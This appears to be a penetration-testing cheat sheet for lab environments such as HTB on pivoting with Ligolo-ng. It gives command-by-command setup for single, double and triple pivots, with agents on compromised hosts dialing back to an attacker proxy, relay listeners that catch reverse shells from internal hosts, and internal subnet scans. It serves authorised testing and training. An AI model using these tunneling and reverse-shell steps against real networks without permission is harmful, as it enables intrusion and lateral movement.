Misc & payloads
PIVOTING

Pivoting with Ligolo-ng

Tun-based pivoting end to end: tool setup, exactly which IP goes where, and single, double and triple pivots. Reach deep internal subnets with normal tools, no proxychains.

Which IP goes where (read this first)

The thing that trips everyone up. Keep these straight:

  • <ATTACKER> = your box (HTB VPN, e.g. 10.10.14.5). The Ligolo proxy runs here.
  • <PIVOT1-EXT> = the first target’s IP that you can already reach (the foothold).
  • <PIVOT1-INT> = that same host’s second NIC, on the hidden network (e.g. 172.16.1.10).
  • <NET-B> = the new subnet you discover on the pivot (e.g. 172.16.1.0/24).

Rule: the agent always dials back to the proxy. For the first hop that is <ATTACKER>. For deeper hops it is a listener on the previous agent, not your box.

Tool setup (one time, on your box)

Create the tun interface:

sudo ip tuntap add user $USER mode tun ligolo

Bring it up:

sudo ip link set ligolo up

Start the proxy:

./proxy -selfcert -laddr 0.0.0.0:11601

Single pivot (you to NET-B)

Run the agent on PIVOT1, dialing your box:

./agent -connect <ATTACKER>:11601 -ignore-cert

Windows agent:

agent.exe -connect <ATTACKER>:11601 -ignore-cert

In the proxy console, select the session:

session

See the pivot’s internal subnets:

ifconfig

Back on your box, route NET-B through ligolo:

sudo ip route add 172.16.1.0/24 dev ligolo

Start the tunnel in the proxy console:

start

Now hit NET-B directly:

nmap -sT -Pn 172.16.1.0/24

Reverse shells from inside NET-B

Internal hosts cannot reach your box, so add a listener on the agent that relays back to you. In the proxy session:

listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444

Point the internal payload at the agent’s internal IP (<PIVOT1-INT>:4444), and catch it on your normal handler:

nc -lvnp 4444

Double pivot (you to NET-C via PIVOT2)

You have a shell on PIVOT2 (a host inside NET-B that also touches NET-C). PIVOT2 cannot reach your box, so it must dial the first agent.

Add a relay listener on AGENT1 that forwards to your proxy port:

listener_add --addr 0.0.0.0:11602 --to <ATTACKER>:11601 --tcp

Run AGENT2 on PIVOT2, dialing PIVOT1’s internal IP on that relay port:

./agent -connect <PIVOT1-INT>:11602 -ignore-cert

In the proxy, switch to the new session:

session

Route NET-C through ligolo as well:

sudo ip route add 172.16.2.0/24 dev ligolo

Start it:

start

Triple pivot (you to NET-D via PIVOT3)

Same pattern, one more hop. Chain a relay on AGENT2 pointing at the AGENT1 relay:

listener_add --addr 0.0.0.0:11603 --to <PIVOT1-INT>:11602 --tcp

Run AGENT3 on PIVOT3, dialing PIVOT2’s internal IP:

./agent -connect <PIVOT2-INT>:11603 -ignore-cert

Add the deepest route and start:

sudo ip route add 172.16.3.0/24 dev ligolo
start

Mental model: each new agent dials the relay on the agent one hop closer to you, and every new subnet needs its own ip route ... dev ligolo. The tun interface stays the same the whole time.